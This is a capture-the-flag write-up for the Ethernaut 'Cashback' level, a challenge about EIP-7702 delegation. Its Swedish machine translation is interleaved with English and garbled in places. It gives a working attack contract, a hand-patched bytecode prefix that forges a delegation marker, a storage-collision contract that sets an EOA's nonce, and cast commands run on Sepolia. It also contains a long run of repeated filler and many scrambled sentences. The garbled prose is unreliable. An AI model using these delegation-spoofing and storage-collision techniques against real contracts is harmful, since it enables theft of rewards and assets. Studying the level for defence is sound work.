Medan jag grävde in i EIP-7702 nyanser, arbetade jag genom utmaning – ett scenario som är utformat för att testa om utvecklare verkligen förstår säkerhetsimplikationerna av 7702-baserad delegering. På ytan ser utmaningen enkel ut: ett cashback-program som belönar användare för kedjebetalningar och beviljar en NFT en gång tillräckligt många poäng ackumuleras. Ethernaut Cashback Utmärkt cashback Hämta Cashback För att delta måste användarna delegera till Cashback-kontraktet med hjälp av EIP-7702. först då kan de ringa payWithCashback och börja tjäna poäng. I verkligheten skapar EIP-7702-delegationen säkerhetsfällor som denna utmaning är utformad för att demonstrera.Denna skrivning täcker hur kontraktet ska fungera, var antagandena misslyckas och hur exploitvägen framträder. Utmaningen https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Du har just anslutit dig till Cashback, den hetaste kryptobank i staden. Deras pitch är oemotståndlig: för varje kedjebetalning du gör, tjänar du poäng. Systemet utnyttjar EIP-7702 för att tillåta EOA att ackumulera cashback. Användare måste delegera till Cashback-kontraktet för att använda payWithCashback-funktionen. Rykten har det finns en bakdörr för kraftanvändare. Din kortfattad är enkel: bli lojalitetsprogrammets mardröm. Max ut din återbetalning i varje stöds valuta och gå bort med minst två Super Cashback NFT, varav en måste matcha din spelaradress. Du har just anslutit dig till Cashback, den hetaste kryptobank i staden. Deras pitch är oemotståndlig: för varje kedjebetalning du gör, tjänar du poäng. Systemet utnyttjar EIP-7702 för att tillåta EOA att ackumulera cashback. Användare måste delegera till Cashback-kontraktet för att använda funktionen av . payWithCashback Rykten har det finns en bakdörr för kraftanvändare. Din kortfattad är enkel: bli lojalitetsprogrammets mardröm. Max ut din återbetalning i varje stöds valuta och gå bort med minst två Super Cashback NFT, varav en måste matcha din spelaradress. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } Den avsedda säkerhetsmodellen Cashback-kontraktet använder modifierare för att styra Ring och Exekvering av kod: who where : Caller identity checks onlyEOA(): Säkerställer att uppringaren är en EOA, inte ett kontrakt (msg.sender == tx.origin). : Ensures the caller is the Cashback contract itself. onlyCashback() onlyNotCashback(): Säkerställer att uppringaren inte är Cashback-kontraktet. : Execution context checks onlyOnCashback(): Säkerställer att koden körs på Cashback-kontraktets adress. Funktioner med denna modifierare kan endast köras när du ringer direkt på kontraktet. : Ensures code is NOT executing at the Cashback contract address. This means the function must run through a , not directly on the contract. notOnCashback() delegatecall I grund och botten borde systemet fungera så här: A delegated EOA calls on itself. This works because the call happens and passes . payWithCashback notOnCashback onlyEOA payWithCashback-funktionen ringer Cashback.accrueCashback direkt på Cashback-instansen. Den har tre modifierare: onlyDelegatedToCashback passerar eftersom uppringaren delegeras till Cashback, onlyOnCashback passerar eftersom samtalet sker på Cashback direkt. Den onlyUnlocked modifier samtal ärUnlocked på msg.sender. Eftersom payWithCashback har låst upp det, passerar denna check. Denna funktion har två modifierare: endastCashback passerar eftersom det kallas av Cashback-instansen, och inteOnCashback passerar eftersom denna funktion körs i EOA: s sammanhang. Slutligen ökar consumeNonce nonce i EOA: s lagring. Hitta konstanta Innan vi kan attackera måste vi identifiera utmaningens viktigaste parametrar och adresser. Stödda valutor The Cashback contract supports two currencies. While not explicitly defined in the challenge description, we can find them: Föregående Föregående inläggFöregående Föregående inläggFöregående Föregående inläggFöregående inläggFöregående Föregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFöregående inläggFö Freedom Coin ( ) at FREE 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Du kan kontrollera detta genom att ta nivåadressen och kontrollera , and by calling the . Hennes kod FREE() Funktioner Super Cashback från NFT Du kan hitta adressen genom att ringa På din Cashback instans. superCashbackNFT Maximal Cashback och Cashback Rates För att beräkna de nödvändiga utgifterna för maximal återbetalning behöver vi två parametrar. och på din instans. avtalet använder För procentuella beräkningar: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; For example, Freedom Coin has a max cashback of and a rate of (dvs. 2%). För att beräkna de nödvändiga utgifterna: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 Det är 25 000 gratis tokens. Nonce Kontraktet mynter en Super Cashback NFT när din nonce når som är hårdkodad till 10 000. SUPERCASHBACK_NONCE angrepp Trots den komplexa arkitekturen som ser oöverträffad vid första anblicken finns det flera felaktiga antaganden som vi kan utnyttja. När vi tittar på arkitekturen märker vi att vi kan kalla Även om dess modifierare är utformade för att begränsa åtkomsten till interna samtal genom Funktionen själv är extern – så vi kan kalla den direkt om vi kringgår vakterna: accrueCashback payWithCashback onlyOnCashback Vi kan kringgå det genom att ringa Cashback instansen direkt. Since this modifier calls isUnlocked on , we can bypass it by calling from a contract with an isUnlocked function that always returns true. onlyUnlocked msg.sender baraDelegatedToCashback Det här är tricky. Låt oss undersöka det noga: modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } den modifier försöker kontrollera att uppringaren har delegerat till Cashback-kontraktet genom att läsa delegeringsadressen från kontots bytecode. Med EIP-7702 har delegerade konton en särskild bytecode: Modifieraren läser dessa 20 bytes (som den förväntar sig att vara en adress) och kontrollerar att de matchar Cashback-instansadressen. onlyDelegatedToCashback 0xef0100 och bypass , vi behöver vår attackkontrakt bytecode för att se ut som en giltig delegationsbeteckning - specifikt, Cashback-adressen måste visas vid byte 4–23. onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Vi kommer att hantera detta manuellt senare. Först, låt oss skapa angreppskontrakten. Förbereda angreppskontraktet As discussed, our contract will be called back by the Cashback instance twice: to check if it's unlocked and to consume the nonce. We need to ensure it's always unlocked and returnerar det värde som krävs för en SuperCashback NFT. Vi vill ha full återbetalning för båda valutorna, men eftersom NFTs är mynta med uppringarens adress som ID, den andra call would revert. So we'll return a Nonce bara en gång. consumeNonce accrueCashback 10,000 Vi ställer in valutorna och Cashback-adressen som konstanta. direkt, vi behöver inte spendera riktiga tokens - vi behöver bara passera rätt belopp för att få maximal återbetalning. accrueCashback Slutligen kommer vi att överföra all cashback och NFT till vår spelares adress. Här är hela kontraktet: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Justera bytecode för att kringgå delegationskontrollen Nu kommer den svåra delen.Vi måste ändra den bytecode för att passera modifier. först sammanställa dina kontrakt. AccrueCashbackAttack onlyDelegatedToCashback If you're using Hardhat, the bytecode will be in Det finns två egenskaper: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json Bytecode är den skapande (init) koden som körs en gång under implementeringen. Den kör konstruktörslogiken och returnerar löptidskoden som ska lagras på kedjan. deployedBytecode är löptidskoden som lagras på kedjan efter implementering och utförs när kontraktet kallas. Vi kommer att placera vår Cashback instansadress på offset , exactly where Leta efter det. den Följer efter: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Hoppa över den inbäddade adressen För att hoppa över 20-byteadressen under normal körning använder vi dessa opcoder: PUSH1 för att ange hoppdestinationen Hoppa för att utföra hoppet to mark the destination (required to avoid revert) JUMPDEST På detta sätt är det bara den modifier reads the . onlyDelegatedToCashback <CASHBACK_ADDRESS> But what offset should we jump to? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | Den uppenbara men felaktiga antagandet är Strax efter I verkligheten beror svaret på hur lycklig du är med din Cashback-instansadress. 0x17 <CASHBACK_ADDRESS> Min instans är på Så mitt kontrakt kunde börja så här: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Men låt oss se hur denna bytecode demonteras: Problemet! byte I vår adress är det opcode. när EVM möter , den använder följande 30 byte som bokstavliga argument, inte som instruktioner. ( ) är placerad på offset , but it gets consumed as data for i stället för att utföras som en instruktion. Detta förstör bytecodeflödet, vilket orsakar en när utförandet når den platsen. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our utöver de 30 byte som förbrukas av : JUMPDEST PUSH30 Perfekt! den Visar på 2a. Låt oss uppdatera vår Instruktion. min slutliga version: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | This prefix totals 43 bytes: 2 § + (1) För + (20) Övrigt 19 § + 1) Det är PUSH1 JUMP address padding JUMPDEST Jump offset justeringar Now we can add our Men eftersom vi ökade kontraktets storlek med 43 byte måste vi justera alla and offsets by this amount. deployedBytecode JUMP JUMPI För demonstration, låt oss se hur man gör detta manuellt. , välj Bytecode och klistra in din Till höger ser du listan över opkoder. Hitta den första på [0f]. Hitta alla Opcodes som används av and Med värden som matchar detta and increase their values by 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST Denna metod är inte perfekt - vi kan av misstag ändra values that aren't jump destinations. However, false positives should be rare enough for this challenge. PUSH2 Varför PUSH2 ? Eftersom den ursprungliga kontraktstorleken var 3142 bytes (0x0C46) kan hoppdestinationer överstiga 255, så kompileraren måste använda PUSH2 för att representera dem. Kompilatorn använder PUSH2 jämnt för alla hopp destinationer i stället för att blanda PUSH1 och PUSH2. Varför PUSH2 ? Eftersom den ursprungliga kontraktstorleken var 3142 bytes (0x0C46) kan hoppdestinationer överstiga 255, så kompileraren måste använda PUSH2 för att representera dem. The compiler uses PUSH2 jämnt för alla hopp destinationer i stället för att blanda PUSH1 och PUSH2 . Att göra detta manuellt skulle vara överväldigande, så jag skapade ett skript som: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST Du kan hitta skriptet för att automatisera denna process i . Repositorier Repositorier Aldrig blint ladda ner och köra slumpmässig kod, inklusive denna! Använd isolerade miljöer som devcontainers eller VM när du experimenterar med opålitlig kod. Aldrig blint ladda ner och köra slumpmässig kod, inklusive denna! Använd isolerade miljöer som devcontainers eller VM när du experimenterar med opålitlig kod. Creation Bytecode För att implementera detta kontrakt måste vi skapa bytecode. Låt oss ändra den befintliga skapningskoden. value in artifacts contains it at the beginning. Here's mine: Att demontera det visar: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 Detta är den ursprungliga kodens längd- . 0c46 3142 bytes We need to use our adjusted code length plus the 43 bytes we added manually. For me, that's (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Slutlig Bytecode Assembly Den slutgiltiga bytecoden är helt enkelt skapandekoden sammankopplad med den justerade . deployedBytecode Execute Attack Låt oss distribuera vår bytecode med hjälp av Från Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE För att utföra attacken: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Kontrollera din transaktion på Etherscan. Du bör se interna transaktioner relaterade till cashback token och NFT överföringar. At this point, you've achieved maximum cashback for both currencies and obtained one NFT. However, its ID corresponds to your attack contract's address, not your player address. We need one more NFT with your address as the ID. Utnyttja lagringskollision för den andra NFT Vi behöver fortfarande en annan NFT med vår adress som ID. Vi kan inte helt enkelt upprepa samma metod som i föregående attack. som avsett – genom att delegera din EOA till Cashback-kontraktet. funktion, så vi måste öka vår nonce på något annat sätt. payWithCashback consumeNonce EIP-7702-delegering skapar inte separat lagring för varje delegerat kontrakt. När en EOA delegerar till ett kontrakt, körs koden mot EOA: s egen lagring. Om du delegerar till olika kontrakt över tid, läser och skriver de alla till samma lagringsplatser i din EOA. Genom att utnyttja denna lagringskollision kan vi manipulera nonce. Vi skapar ett kontrakt som skriver till samma lagringsplats, ställer in nonce till 9999, sedan omdelegerar till Cashback och utför en annan transaktion för att utlösa NFT-myntet. Observera att Cashback-kontot använder en anpassad lagringslayoutdirektiv för att placera sin lagring på en viss plats.Den här funktionen, som introducerades i Solidity 0.8.29, tillåter kontrakt att flytta sina lagringsvariabler till godtyckliga positioner. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } den is the first variable in the layout—all the preceding variables are constants and immutables, so they don't take slots. However, from OpenZeppelin takes 3 slots before Därför är det faktiska slottet på Medveten om detta, låt oss injicera en stor nonce i vår EOA-lagring. nonce ERC1155 nonce 0x442a9...ba03 Here's the manipulationskontrakt jag utplacerade till Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } The next step is to delegate our EOA to Foundry är stöder auktoriseringstransaktioner. Vanligtvis skulle vi behöva begära vårt konto nonce, öka det med ett, underteckna en auktoriseringstransaktion, och först därefter skicka den. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Nu kan vi ställa in nonce att använda Kom ihåg att vi kallar den här funktionen för oss själva, inte för instance: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Final Attack Step With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID. Återdelegera ditt konto till instansen Cashback. Följ samma steg som med NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> Cashback-kontraktet ger en nonce-funktion för att kontrollera din nonce. Låt oss kontrollera att det är 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Utför det sista steget genom att ringa payWithCashback på dig själv: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Du äger nu 2 NFT och maximal cashback. Skicka in nivån! And before we go, don't forget to remove the delegation. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 Vad vi har lärt oss 1. Validate delegation the right way. Kontrollera alltid den Tack vare EIP-3541, som förbjuder att distribuera kontrakt vars bytekod börjar med 0xef, skiljer detta prefix på ett tillförlitligt sätt delegerade EOA från godtyckliga kontrakt. 0xef0100 2. Never store protocol-critical state inside an EOA. En EOA-ägare kan delegera till vilket kontrakt som helst, och det kontraktet kan fritt skriva till samma lagringsplatser - inklusive de du kan anta är privata. . your protocol's storage